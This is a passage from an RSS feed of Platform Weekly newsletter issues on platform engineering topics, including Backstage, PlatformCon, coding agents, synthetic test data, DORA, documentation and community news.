was.\nIn all these 100+ conversations, these are the 3 biggest things I learned\n\n\nPeople are still far too focused on the front end of your platform. Building a service catalog with Backstage does not make an Internal Developer Platform (IDP). I lost count of the people I talked to who were trying to find some way to get out of the Backstage quagmire they\u2019d gotten themselves into. Backstage absolutely has its place. But it is a piece of the puzzle, not the end result.\n\n\nInfrastructure peeps don\u2019t fully see yet what platform engineering does for them. Honestly, I don\u2019t blame them. We spend so much time in the community talking about DevEx and faster software delivery and not enough on how platform engineering is going to revolutionize infrastructure. We\u2019ve got to change that.\n\n\nThere is still SO much room to grow here. We might finally all be talking about platforms and how best to build and run them, but the majority of orgs have barely gotten started yet. If you hang out in the community all day, you might think everyone is platform engineering full force already but we are still at the beginning of this wave.\nLesson number 4? People still love our DevOps is dead shirts.\nThe most important thing coming back from the AWS summit, and all of these major live events is just a sense of how far we\u2019ve come. And how far we\u2019ve got still to go.\nI can\u2019t wait.\nQuick bites\nArticles of the week:\n\n\nIBM buys Hashicorp\n\nPlatform Engineering in action: Deploy the Online Boutique sample apps\nFrom the community:\n\n\nHave a platform engineering question for Kelsey Hightower? Ask here!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  What\u2019s Next for Platform Engineering at PlatformCon 2025?\n  https://platformweekly.com/issues/whats-next-for-platform-engineering-at-platformcon-2025\n  https://platformweekly.com/issues/whats-next-for-platform-engineering-at-platformcon-2025\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly peel of the platform engineering banana. Each week, we explore deeper into the platform engineering cosmos, discussing the latest news, best practices, lessons, and insights from the community.\nWhat\u2019s hot in platform engineering?\n\n\nThe first platform engineering certification course of 2025 just started yesterday!\n\nPlatform engineering pitfalls featuring community ambassador Jordan Chernev\n\nOpenTofu 1.9.0 arrives with for_each on providers!? This battle is getting interesting\nThe next DevOps is dead?\nAre we going to have another DevOps is dead moment at PlatformCon 2025? What\u2019s in store this year?!\nIf you could talk to 40,000 people about platform engineering, what would you say? You can tell them anything you want. You could shake them to their core with a bombshell like \u201cSilos are fantastic.\u201d Or break down how your 150-year-old company is succeeding at platform engineering?\nYou could help them guarantee they get adoption for their Platform, or dig up DevOps is dead one last time.\nPlatformCon has changed a lot from its first edition back in 2022. Back then we were right in the thick of Covid. And platform engineering was just a newly hatched bird. Sure, it might\u2019ve been like a really badass bald eagle or something, but it was still only just starting to spread its wings.\nNow 3 years later, PlatformCon (and platform engineering) are rocketing off into space. We\u2019ve grown from 7000 attendees to over 35,000, with 100s of thousands more watching on Youtube in the months after.\nWe\u2019re being supported by basically every big name in the space. We\u2019re going live and in-person in London, New York, and in Paris - with 1000s of people coming together for live networking, in-person trainings, and hands-on workshops.\nIt feels like PlatformCon couldn\u2019t be more different than that hatchling in 2022.\nBut what really matters is what is the same.\nIt is still the same incredible community that makes all this possible. All coming together to funnel all the knowledge in the platform engineering universe through one incredible week of talks, workshops and discussions. Everything from best practices and successful frameworks to our worst mistakes and failures to avoid. \nWhether you share your platform story on stage, or in a thread in Slack.\nPlatformCon wants to tell it. And we all want to hear it.]]>\n  \n  Sat, 25 Jan 2025 00:00:00 GMT\n\n\n  Do you believe in parallel coding agents?\n  https://platformweekly.com/issues/do-you-believe-in-parallel-coding-agents\n  https://platformweekly.com/issues/do-you-believe-in-parallel-coding-agents\n  \n  \nThe other day I happened upon an X thread that got me thinking: \"Do you believe in parallel coding agents? Do you think it'll become an important part of future software engineering?\"\nFirst, let me define. A coding agent is effectively running a model in a loop, editing files, running terminal commands and iterating. As agents get better developers are now pushing the boundaries to get multiple agents working on tasks in parallel, using git worktree, kanban visualizations, sub-agents and other techniques to really squeeze the juice out of these new agent tools.\nBut whilst we push the boundaries of agents, we must solve the \u2018trust\u2019 problem. We cannot hand over end-to-end critical work to an agent without a human-in-the-loop. If we get parallelism right, coding agents are a huge productivity opportunity. But first we have to reckon with helping our developers to see and \u2018believe\u2019 in agents and the possibility of parallel agent work.\nBut what does this all mean for platform teams? Aren\u2019t agents a developer concern?\nNot exactly. With growing agent autonomy we\u2019re also now seeing agents being shifted to the cloud, called \u2018parallel agents\u2019, \u2018background agents\u2019 or even \u2018async agents\u2019. Agents that are writing code in remote environments. This brings these agents very squarely into the domain of most platform engineering teams who must now become the architects of what agents access, where they run, and how we put \u2018human-in-the-loop\u2019 reviews into our workflows. \nThat said, where can our teams start investing today? Aside from keeping an eye on the latest AI lab improvements and continuing to do our own evaluations. There are three key areas: \nBuilding our platform API first - Agents are powerful in their ability to \u2018function call\u2019 and make use of \u2018tools\u2019. Despite much fanfare around MCP we now see that agents function well with CLIs that are both discoverable and also occupy less no context window. For our platforms, we\u2019d be wise to adopt the infamous Bezos API mandate: \u201cAll teams will henceforth expose their data and functionality through service interfaces, and anyone who doesn't do this will be fired.\u201d\nSandboxing our environments - To maximize agent autonomy we need to be able to run agents with \"dangerously skip permissions\" or \u201cyolo\u201d mode enabled, but without fear of repercussions. That can\u2019t work without a sandbox or isolation. At the very least developers should be using Dev Container to isolate tasks and protect their machines when delegating work to agents, this will also make the shift to cloud based agents easier in future. \nAdhering to fine-grained access - Finally, advanced agent autonomy will demand fine-grained permissions. We need to ensure our agents can work effectively with access to systems without introducing catastrophic failures. So this means expediting our secrets management projects. \nThe shift to agents, particularly agents that work in parallel and in the background, that stretch the limit of human attention will push platform teams to completely re-think our tooling and infrastructure foundations. I also get that there\u2019s a lot going on in the AI space currently and \u2018agent\u2019 is certainly a loaded term. If you want to catch up on the trend, check out the developers guide to background agents that I put together which covers the foundational concepts that should bring you more up to speed. 2025 continues to be a wild one.]]>\n  \n  Tue, 16 Sep 2025 00:00:00 GMT\n\n\n  Your platforms biggest blind spot? Test data. \n  https://platformweekly.com/issues/the-quiet-bottleneck-slowing-down-your-platform\n  https://platformweekly.com/issues/the-quiet-bottleneck-slowing-down-your-platform\n  \n  \nIn the last year, the community has grown by almost 70,000 people. That number is driven overwhelmingly by the influx of folk from domains like observability, security, AI and ofcourse\u2026 data.\nFor all the progress we\u2019ve made in the platform engineering industry, there are some bottlenecks that slow teams down to a crawl and receive almost zero awareness. One big topic is access to usable, realistic, safe test data. Even the most advanced Internal Developer Platforms grind to a halt when engineers can\u2019t replicate production behaviours, or test any features without falling apart.\nWhile everyone was having fun at re:Invent, I was diving into Mark Brocato\u2019s awesome article and webinar combo on the value of synthetic data, and how to effectively generate it. The key points are:\n\n\nMany teams have long relied on masked production data or rules-based synthetic datasets but these are usually too rigid to capture the messiness of real systems.\n\nWe\u2019re now entering a new phase: Agentic AI that can reason over schemas, write code, enforce relationships, and iteratively generate far more realistic test data.\n\nThis change is crucial as platforms scale with microservices, distributed states, and AI-driven features, the gap between \u201chaving an environment\u201d and \u201chaving the right data in it\u201d has never been more important.\nThe result is a subtle but important shift in mindset, as test data becomes an integrated capability of the platform, not an afterthought. As agentic AI matures, the platform foundations around it grow stronger, the teams who embrace AI effectively will find themselves able to move faster, test more thoroughly, and maybe provide some of that sweet sweet self service we all keep talking about.\nNow wouldn\u2019t that be something.]]>\n  \n  Mon, 15 Dec 2025 00:00:00 GMT\n\n\n  Top 5 questions in platform engineering\n  https://platformweekly.com/issues/top-5-questions-in-platform-engineering\n  https://platformweekly.com/issues/top-5-questions-in-platform-engineering\n  \n  \nIn the last 6 months, across the platform engineering certification course, my webinars, roundtables, and meetings at conferences, I\u2019ve taken questions from 800 people on platform engineering. These are the top 5, and here are their answers.\n\n\nIs platform engineering just a rebrand of DevOps or SRE? No. Platform engineering is an evolution that includes the best aspects of DevOps and SRE, but more usable by most teams and orgs. It is a \u201csocio-technical\u201d blend of tooling, and culture through the abstraction, automation, and standardization benefits of the building of an Internal Developer Platform, and the product management benefits of Platform as a Product (treating that IDP like a product, with devs as customers).\n\nWhy shouldn\u2019t I just implement Backstage? Backstage is a tool with incredible potential, but it is NOT your platform. It\u2019s the frontend layer of your Internal Developer Platform. You also need to understand the actual total cost of ownership of Backstage, Cortex might \u201ccost\u201d and Backstage is \u201cfree\u201d. But if you require at least 2-3 engineers full-time to setup Backstage, then 1 to manage it\u2026 suddenly Cortex or another portal looks a whole lot cheaper to be your frontend layer.\n\nHow do we actually start? From looking at 100s of successful (and unsuccessful platform) initiatives, the Minimum Viable Platform (MVP) process is in my view the only way to go. You start small with 1 team and a sample app that mostly closely represents your estate. This lets you measure more easily, fine-tune your cultural questions, get everyone aligned, and prove value. You then expand.\n\nI already have Kubernetes and Terraform. Why do I need an Internal Developer Platform? K8s & Terraform are pieces of the puzzle. They are not an Internal Developer Platform. Also - I want you to go ask all your developers whether they like working themselves directly in Terraform or Kubernetes. If you find one - then come back;)\n\nIsn\u2019t platform engineering just hype? Yes, there is hype. The certification course has grown 5x in the last 6 months, and this newsletter has grown 20x in 2 years. But the data is there, 51% of orgs have started platform teams in the last 3 years. 80% are expected to have IDPs by 2026. And those IDPs will eat up more and more of those enterprises engineering. This is the future. \nWhat are your biggest questions? Reply to this and let me know!]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  The Five Families of Platform Engineering have met. This is what they said.\n  https://platformweekly.com/issues/the-five-families-of-platform-engineering-have-met-this-is-what-they-said\n  https://platformweekly.com/issues/the-five-families-of-platform-engineering-have-met-this-is-what-they-said\n  \n  \nHey there! This is Platform Weekly, your weekly look behind the curtain on the platform engineering revolution.\nThe Five Families of Platform Engineering have met. This is what they said.\nOn Tuesday, this week we had a godfather style meeting of some of the biggest thought leaders in the platform engineering space at the AWS re:Invent platform engineering executive roundtable. It included my friend and CEO Kaspar from Humanitec, Sean Alvarez from ThoughtWorks, the man himself Gregor Hohpe, and a selected group of practitioners from companies like WesternUnion, Salesforce, IBM, Oracle, GitHub. I don\u2019t think it\u2019s unfair to say that the conversations in that roundtable will shape a lot of the platform engineering world in 2024.\nSo what was discussed? Let me break it down.\nThe impact of Internal Developer Platforms is Insane \nIt\u2019s now been almost 2 years since the first companies started to put together a modern enterprise-grade Internal Developer Platform. That means we\u2019re starting to see the first real long term data on just how effective those platforms are. And the numbers are awesome.\n2 years ago, I was often talking about potentials and hypotheticals about what I felt platform engineering could deliver, and now I\u2019ve had the chance to see the numbers and results firsthand.\nThe pain and value is being perceived differently by different teams\nEvery company is different, and every team within those companies are different too. You\u2019ll have teams with very different goals and objectives for their platform, and these teams will have different views for whether the platform is working effectively. That is why it\u2019s so important that Internal Developer Platforms are being set up to best serve exactly what teams actually need, based on insights you\u2019re getting from the actual teams themselves.\nYou need to start small, and start fast. You can\u2019t be trying to build your final product from the get go\nIf you want a platform. You\u2019ve got to start now. And you\u2019ve got to move fast. Platform engineering seems to be like water, it will fill the space you give it. If you set a timeline of 2 years, it will take 2 years. If you focus on wanting your 2000 developers to be using it, you won\u2019t see results until the 2000 are.\nThis is the absolute worst way to approach platform engineering. You want to get it started as soon as possible, even if that means starting small. \n\u201cPick your pioneer team and get them started. Fine tune, see results, and expand\u201d\nThe performance of the early platform is crucial to companywide expansion and adoption\nEveryone will be looking at that first platform. Many will have preconceived views, but in the end, it\u2019s the performance of that platform that will set the stage for a company's platform engineering initiative.\nAs much as I hate to say it, there are still many people who perceive platform engineering as a fad. The best way to silence those critics, and make sure there is no slowdown in adoption is to make sure that that early platform works, and works well.\nWant to attend things like this yourself? The platform engineering community organizes awesome webinars like this every week\nQuick bites\nArticles that blew me away:\n\n\nCloud Native Users Struggle to Achieve Benefits, Report Says\nFrom the community:\n\n\nThe conversation continues on last weeks article on DORA metrics\n\nA new community for diversity in tooling?]]>\n  \n  Tue, 02 Apr 2024 00:00:00 GMT\n\n\n  The wild west of platform engineering is over\n  https://platformweekly.com/issues/the-wild-west-of-platform-engineering-is-over\n  https://platformweekly.com/issues/the-wild-west-of-platform-engineering-is-over\n  \n  \nHowdy there, pardner! This is Platform Weekly, your ride into the gentle and warm sunset of the platform engineering plains. Every week, we dive into the what\u2019s what of the platform engineering world.\nThe wild west of platform engineering is ending\nWe now know what an Internal Developer Platform should look like. And the best way to start one. Are we safe from the tech hype curse?\nAnyone who has worked in tech for awhile knows that with any new hype train be it DevOps, GitOps or even my beloved platform engineering, there comes a total chaos of descriptions, definitions, guidelines, best practices and ideas of what this whole thing is actually about.\nTake DevOps. The term was coined in 2009 and yet you\u2019ll still find a half dozen competing ideas of what DevOps actually is online. Platform engineering has faced similar challenges (there is a reason my IDP vs IDP webinar resonated so much).\nHowever, unlike those that came before, Platform Engineering seems to be hitting its stride much faster when it comes to standardization and best practices. There is still a long way to go of course (esp considering people still think Platform = Service catalog), but we\u2019ve made some awesome progress this year.\nIn the last 2 months, I\u2019ve talked to hundreds of people at KubeCon, Google Cloud Next and beyond, not to mention the hundreds of PlatformCon submissions I\u2019ve read. There are a few things that are clearly consistent.\nMost people's idea of an Internal Developer Platform looks like this.\n(Note that this is one for AWS. Azure, GCP, Openshift, multi or hybrid setups etc will look slightly different but maintain the same core concept)\nWe can also confidently say what the best practice is for actually building an IDP. And if you\u2019re a long time reader of this newsletter you\u2019ll know what that is, a Minimum Viable Platform (MVP).\nMVPs so far seem to be the best way for most enterprises to get started with platforming and have an effective path forward towards a full IDP. It avoids the risk of prolonged and expensive platform engineering initiatives, and lets you build a platform from the ground up where you can be confident it is solving real pain AND will actually be adopted.\nSo if we already know what a platform should look like, and how to get started doing it, what is left? To actually get started. So, let\u2019s do it, and let\u2019s do it right.\nThat way we can avoid a viral \u201cPlatform Engineering is dead\u201d moment in 10 years time\ud83d\ude09\nQuick bites\nArticles of the week:\n\n\nYour engineering organization is too expensive\nFrom the community:\n\n\nHave a platform engineering question for Kelsey Hightower? Ask here!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  the future of DORA\n  https://platformweekly.com/issues/the-future-of-dora\n  https://platformweekly.com/issues/the-future-of-dora\n  \n  \nHey there! This is Platform Weekly, your weekly source of platform engineering crunchiness. Someone mentioned to me that there has been a distinct lack of bakery related puns in Platform Weekly these days. I knead to fix that\ud83e\udd50\nThe future of DORA\nThe 2024 DORA survey just launched. For more than 10+ years at this point, DORA has been one of the defining research programs for DevOps, Software engineering and now platform engineering teams to drive efficiency and clearly communicate and understand performance.\nAccording to DORA, this years\u2019 survey is focusing on 3 areas:\n\n\nArtificial Intelligence (AI) - This year we are expanding our inquiry in this area to better understand how AI is changing your work and the impact of those changes. How is AI impacting organizational performance?\n\nPlatform Engineering - We want to better understand how your organization is approaching platform engineering. Platform engineering may include both technologies and teams. How does platform engineering impact software delivery performance?\n\nDeveloper Experience - What is your overall experience like as you work to deliver for your customers? How does your experience impact the value you're able to deliver?\nOur input to DORA is super important for the research process. As DORA\u2019s research is one of those things that really help teams understand where they are and how they measure themselves. It\u2019s one of the best ways to make sure the collective understanding of the software engineering world reflects the world that we actually live in.\nWhat are you waiting for? Fill in the survey and shape the future of platform engineering\nP.S. We\u2019ve got an AWESOME talk at PlatformCon this year on DORA by Nathen Harvey, the DORA Lead and Developer Advocate at Google Cloud. You don\u2019t want to miss it.\nQuick bites\nArticles of the week:\n\n\nYou\u2019re doing platform engineering wrong. Probably.\nFrom the community:\nWhere does DataOps fit into platform engineering? Join the conversation!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  Platform engineering future-proofing: Move from software craftsmanship to scalability.\n  https://platformweekly.com/issues/platform-engineering-future-proofing-move-from-software-craftsmanship-to-scalability\n  https://platformweekly.com/issues/platform-engineering-future-proofing-move-from-software-craftsmanship-to-scalability\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly dip into the platform engineering jacuzzi. Every week, we explore another area of the platform engineering universe.\nBTW - We just confirmed Kelsey Hightower for PlatformCon. Come meet him LIVE in New York\ud83c\udf89\nStop building your software like an artisan\nHow long does it take you (or your developers) to get a simple resource like a new database?\n10 seconds? An hour? 2 days? 3 weeks? Everyone reading here will have a different answer.\nYou will all share a similar but slightly different reaction though. Half will say \u201c10 seconds?? That\u2019s impossible\u201d and the other will say \u201c3 weeks? That\u2019s impossible\u201d\nThat is the delta between advanced platform engineering setups and your standard DevOps setup at the enterprise.\nI am working with a team right now where, when we started, developers had to wait almost 3 weeks and 17 manual steps with handoff to multiple engineers, I&O, security, and at least 1 engineering manager. Every single time.\nSome of you might be shocked. But for most orgs out there. That is the norm.\nWhy? I have a pretty simple answer.\nSoftware engineering is still in its craftsmanship phase.\nRather than the default being large, effective interconnected systems of automation and standardization. The default is the dream of the \u201c10x engineer\u201d. Most orgs build software like they are a small artisan workshop with master craftspeople.\nWhat do I mean by this? My favorite example is to think of a chair. A master craftswoman can go from raw tree to chair and knows exactly how different wood, and different tools all impact the product. They know every piece of the process and are responsible for it. Sounds great. Until you need 10 million chairs. Or you need a chair in 10 seconds.\nThis is how software engineering currently works at most enterprises.\nJust look at how the scope of responsibility of the average Dev has exploded in the last 20 years.\nInspired by Daniel Bryant\u2019s great talk at PC22\nPlatform Engineering is about solving this trend. It\u2019s about becoming IKEA to produce your chairs.\nIt\u2019s about building simpler, more automated, more standardized systems that let your developers deliver what they need without needing to understand the myriad different stakeholders they\u2019re touching.\nIt\u2019s about letting them press the gas, and the car accelerates - without having to send a Jira ticket and a Slack message to the fuel injector - or go inject the fuel themselves\u2026\nMost industries (that ironically software accelerates) have already gone through this process from master craftsperson to assembly line. A dock crane operator would be fine in Hamburg or in Baltimore. The screws in my chair are likely the exact same as in yours.]]>\n  \n  Mon, 04 Aug 2025 00:00:00 GMT\n\n\n  5 tips to make your docs more successful\n  https://platformweekly.com/issues/5-tips-to-make-your-docs-more-successful\n  https://platformweekly.com/issues/5-tips-to-make-your-docs-more-successful\n  \n  \nHey there! This is Platform Weekly, the newsletter that makes catching up on cloud-native like the first few days of spring: unexpectedly hot. \ud83d\ude09 Let\u2019s get bakin\u2019\n5 tips to make your docs more successful\nOlga Merkulova, Product Manager and Solutions Analyst\nBreaking news, Instagram Reels, TikTok, and YouTube Shorts, oh my! \nLiving in the era of information intoxication means the average person\u2019s attention span in 2022 is ~8 seconds. No wonder it\u2019s hard conquering readers\u2019 attention with your documentation. That\u2019s why it\u2019s important to make your docs exciting and interesting to read, here\u2019s how \ud83d\udc47\n1. WHO \u2192 WHEN \u2192 WHY\nFind out who your reader is, when they will read your docs, and why. Keep in mind how they will find your documentation and under which circumstances.\n2. Don\u2019t start right away! \nFirst, think about the structure of your whole documentation and determine your:\n- Audience (e.g. end users, software developers, executives, sales, etc)\n- Audience level of expertise\n- Level of detail you need to put in\n- Entry points like \u201cHow to\u201d or \u201cWhat if\u201d.\nThere are a lot of free templates on the internet to help you with this process. Get inspiration from them.\n\u200d\n3. Think about readability \nThis isn\u2019t just about using bullet points. Below are several techniques of what can be used to architect information:\n\u2192 Graphs\n\u2192 Concept maps\n\u2192 Infographics\n\u2192 Short videos or screen cast\n\u2192 Mind maps\n4. Get creative \nIf it\u2019s possible to use images to explain, do so. We live in a global world and the less language-specific you can be, the better.\n\u200d\n5. The rule of 10-5\nThis means 10 seconds of reading and 5 seconds of examining one of the readability tricks from point 3. Take into account that the average attention span is around 10 seconds, so consider switching to another way of presenting information after this period of time.\nWhenever you think about documentation, think about it in terms of a software development process:\nAnalysis \u2192 Requirements capture \u2192 Design \u2192 Implementation \u2192 Maintenance + Version control.\nThis approach will help you see the big picture and make it easier to write and maintain documentation.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 The folks at Robusta benchmarked Kubernetes providers and node efficiency. \n\u201cTLDR; with default GKE nodes, you get half the CPU you pay for. Overhead is better but still noticeable on other Kubernetes providers. GKE autopilot is unaffected.\u201d\n\ud83e\udd50 Want to create an Internal Developer Platform your developers actually want to use? Here\u2019s where you (might be) getting it wrong. \ud83e\udd10\n\ud83e\udd50 According to this article, platform engineering makes healthcare developers more agile and boosts compliance. Pretty neat, right?\n\ud83e\udd50 Why is TikTok\u2019s recommendation system so damn good? I appreciated this take Damien Benveniste shared to LinkedIn \ud83d\udc47\n\ud83e\udd50 Here\u2019s how ChatGPT is changing your job. \ud83d\udc40\nLast but not least, have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are some updates:\n\n\nWhat are the next steps for learning about platform engineering?\n\nYou can take this network engineer\u2019s approach and dive into Git.\n\nOr you can pick up Go or Python like this Terraform user.\n\nConnect with your local platform engineering group for fun, IRL meetups.\n\n\nDon\u2019t know how to drive adoption of your platform? I really enjoyed this discussion on the topic.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n \n\u200d]]>\n  \n  Wed, 12 Apr 2023 00:00:00 GMT\n\n\n  Thoughtworks Gets It\n  https://platformweekly.com/issues/thoughtworks-gets-it\n  https://platformweekly.com/issues/thoughtworks-gets-it\n  \n  \nHey there! This is Platform Weekly, the newsletter that sends you electrifying stories so you\u2019re always the most interesting one in the group chat. \ud83e\udd50 Let\u2019s get bakin\u2019\nBefore we get started, I have a SUPER IMPORTANT ask. We are finalizing our platform engineering salary survey this week, if you are working in the space, you'd do me a huge favor if you could take 2mins to answer the questions. \ud83d\udc49here We already got 100s of responses and will share results with you and the community asap!\nThoughtworks gets it\nI\u2019ve been following Thoughtworks for a while now. They were some of the very first players in the software engineering world to define what later became Internal Developer Platforms (IDPs). They were also speaking about the importance of a platform team working as a product team, i.e. one of my favorite topics, Platform as a Product.\nWhat makes them even cooler? Thoughtworks were doing this back in 2017. A time when most people weren\u2019t even thinking about building platforms yet, and were still trying to figure out how to do DevOps at enterprise scale AND on top of complex cloud native setups (hint, they didn\u2019t figure it out).\nSo I wasn\u2019t surprised \u2014 though still impressed \u2014 when a couple weeks back they officially recognized platform orchestration as a fundamental part of platform engineering and added platform orchestration to their technology radar.\nWhy should I care, you ask? If you\u2019re serious about implementing platform engineering and building IDPs (which if you are reading this I\u2019m assuming you are), you can\u2019t ignore platform orchestration. A Platform Orchestrator is the core configuration engine at the heart of any enterprise-grade IDP. It\u2019s what allows you to standardize both app and infra configs, as well as all workflows. It\u2019s also what lets you enforce clear RBAC and compliance alongside your apps\u2019 lifecycle. In short, it\u2019s what makes your platform truly enterprise-ready.\nThink of a Platform Orchestrator as the glue of your cloud native toolchain. It integrates with your CI pipeline, your developer portal, your resources and observability tools, and more.\nThe cloud native and platform engineering landscape is constantly evolving and it\u2019s great to see seasoned players like Thoughtworks leading the pack once more.\nQuick bites\nRecent articles that blew our minds:\n\n\nBy Jennifer Riggins, A Guide to Open Source Platform Engineering - The New Stack \n\nBy Bill Doerr, Tips For Managing Internal Developer Platforms (IDPs) - DevOps.com \nFrom the Platform Engineering Slack channel:\n\n\nGregor is looking into IDP components with bootstrapping and compliance capabilities. Any ideas?\n\nWhat are the options for a small (~2 engineers) team going back and forth between leveraging existing products and establishing \"golden paths\" via low-level automation? \n\nPlatform Engineering is evolving, but we should not confuse evolution with constant change\u2026]]>\n  \n  Fri, 20 Oct 2023 00:00:00 GMT\n\n\n  Become a certified platform architect\n  https://platformweekly.com/issues/become-a-certified-platform-architect\n  https://platformweekly.com/issues/become-a-certified-platform-architect\n  \n  \nWe\u2019ve had over 1,000 students take our platform engineering certifications, and I\u2019m extremely excited to announce the most technical one we\u2019ve ever done. If you are someone who wants to get your hands dirty, write code, play with labs, and become the technical platform engineering master your org needs, that\u2019s exactly what the Platform Engineering Certified Architect course was built for.\nIndustry-leading platform masters Ajay Chankramath and Bryan Oliver dive deep into the architectural frameworks and automation patterns that leading organizations use today (and give you a hands-on capstone project that ties everything together).\nBy the end of the course, you\u2019ll be able to:\n\n\nBuild and automate compliant, secure platform foundations\n\nImplement Policy-as-Code with OPA, Gatekeeper, and Kyverno\n\nDesign APIs and CLIs for seamless developer interaction\n\nIntegrate Falco and SPIFFE/SPIRE for Zero Trust runtime security\n\nUse Kubernetes Operators to automate platform operations\n\nDeliver and present your own full-stack platform architecture\nEach module builds toward a complete architectural IDP solution based on K8s, covering everything from foundational setup and compliance automation to runtime security, platform APIs, and full-stack automation workflows. \nThe course includes live sessions, recordings of all (so no worries if you can\u2019t join live), a Slack community for discussion and group learning, and direct Q&A access to two top experts in the field.\nIf you joined this course, you will not only be a certified platform engineering architect by 2026, but you will also enter the new year with the most advanced and up-to-date understanding of how to deliver successful platform engineering.\nThere is no better use of that last remaining learning budget. See you there!]]>\n  \n  Mon, 24 Nov 2025 00:00:00 GMT\n\n\n  What's the state of platform engineering?\n  https://platformweekly.com/issues/whats-the-state-of-platform-engineering\n  https://platformweekly.com/issues/whats-the-state-of-platform-engineering\n  \n  \nHey there! \nWhat is the state of platform engineering in 2023? Puppet\u2019s special platform engineering edition of their annual DevOps report dives in. Here are the highlights. Let\u2019s get bakin\u2019\nWhat's the state of platform engineering?\nPuppet recently released the 2023 State of DevOps Report: Platform Engineering Edition \u2013 yet another sign that platform engineering is here to stay! But what does the report have to say? Here\u2019s the short version.\n1\ufe0f\u20e3 Platform engineering helps realize the benefits of DevOps, at least according to 94% of the 438 individuals surveyed. Specific benefits include an increase in development velocity (68%), improved system reliability (60%), increased productivity and efficiency (59%), and better workflow standards (57%). \n93% of respondents believe adopting platform engineering is a good move. Additionally, 37% of respondents from companies with platform engineering report being \"very satisfied\" with the efficiency of their product delivery process, compared to only 20% of those from companies without platform engineering.\n2\ufe0f\u20e3 Organizations are recognizing the benefits of platform engineering. The further along an organization is in their platform engineering journey, the better the results and the more confident the organization becomes. This leads to more hiring for platform team roles.\n53% of firms that have practiced platform engineering for over three years report a significant improvement in speed, compared to 35% of firms that have implemented it within the last three years. \n71% of respondents said their organization plans to hire people with platform engineering experience over the next year, with the majority (53%) planning to hire within the next 6 months.\n3\ufe0f\u20e3 Organizations are not investing enough in product management skills on their platform teams. I\u2019ve said it before, and I\u2019ll say it again: you need product management for your platform. Having a product manager role on the platform team is essential for developing a product mindset, promoting the platform, and effectively educating the company about the platform\u2019s capabilities.\nRespondents' top priorities for the platform team align with product management responsibilities, such as increasing awareness of platform capabilities (47%), setting realistic expectations for the platform team\u2019s role in the organization (44%), and keeping up with industry trends and feature requirements (37%). Despite this, firms are more likely to focus on other roles rather than product management, with 48% of roles falling under \"DevOps,\" followed by 45% software engineers, and 44% platform engineers.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 What does platform engineering look like at a startup? This article dives in.\n\ud83e\udd50 InfoQ shared software trends to look for in 2023. (And platform engineering made the list \ud83d\ude09)\n\ud83e\udd50 This article incorporates a lot of great perspectives on (and predictions for!) platform engineering: \u201cIt\u2019s not really DevOps. Platform engineering has changed and evolved. It\u2019s more than that.\u201d\n\ud83e\udd50 Data Platforms and Hadoop have made the life of SREs, operators, and platform engineers difficult. This next webinar will show you how converging data applications onto micro service platforms running on Kubernetes can destress operations and increase the performance and overall satisfaction of developers. Join us!\nHave you joined the Platform Engineering Slack channel? If not, you're missing out. Here are some job opportunities recently shared by the community: \n\n\nObservability with Grafana and Prometheus\n\nHow to successfully embed DevX devs in other teams\n\nRunning keycloak to authenticate traffic for istio\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project, so if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  Psychological Safety And Platform Engineering\n  https://platformweekly.com/issues/psychological-safety-and-platform-engineering\n  https://platformweekly.com/issues/psychological-safety-and-platform-engineering\n  \n  \nHey there!\nPsychological safety \ud83e\udd1d your successful platform engineering effort.\nLet\u2019s get bakin\u2019\nPsychological safety and platform engineering\nIt shouldn\u2019t come as a surprise that the best work environments are often the ones that promote a high degree of psychological safety. \ud83e\udde0\nIf an individual feels psychologically safe, they feel comfortable and confident contributing ideas, thinking creatively and challenging the status quo without worrying about receiving judgement. Psychological safety helps individuals feel valued and appreciated, learn more, and grow professionally. For organizations, ensuring psychological safety for employees increases the likelihood of having a diverse time, accelerates time-to-market, and drives innovation, among other benefits. \ud83d\udcc8\nTo cultivate psychological safety for your platform engineering team, you can treat psychological safety like products:\n\n\nEngage empathetically with team members\n\nAdmit when you make mistakes\n\nIterate on policies and procedures to implement fresh ways of thinking \ud83d\udca1\n\nGather regular feedback from your team to understand what\u2019s going well and where you can improve\n\nLead by example. Ask questions \ud83d\ude4b and take advantage of learning opportunities.\nHow do you know if your efforts are successful? It looks different for everyone, but here are four markers of success you should keep an eye out for:\n\n\nInclusion. \ud83e\uddd1\u200d\ud83e\udd1d\u200d\ud83e\uddd1 If everyone feels a sense of belonging to the team, you\u2019re on the right track \n\nLearning. Team members should feel safe asking questions and pursuing new learning opportunities\n\nContributing. Individuals should feel free to contribute their ideas to the team\n\nChallenging. \ud83d\udcaa Folks feel empowered to challenge the status quo without fear of retaliation\nPsychological safety is a spectrum, and cultivating it is a continuous process. But, with some effort, you can transform your engineering organization into one where teams can feel empowered and be creative.\nCheck out the full webinar here.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 How is cloud native changing CI/CD? \n\ud83e\udd50 What does an Internal Developer Platform look like? What should you focus on when building one for your organization? Humanitec\u2019s CEO Kaspar von Grunberg dives in on the .tech podcast.\n\ud83e\udd50 Here are 5 unconventional ways to boost your code quality. \ud83d\udcc8\n\ud83e\udd50 Did you know you can use ChatGPT for DevOps?\n\ud83e\udd50 A meme for you: \nLast but not least, have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are the highlights: \n\n\nWhich config management tools are suitable for a company that mainly deploys its apps on AWS serverless infrastructure?\n\nHow to build frameworks/capabilities as part of the platform engineering team\n\nWhat GitOps platform do you use and why?\nDo you want to be a Trailblazer for PlatformCon? Read more here.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy 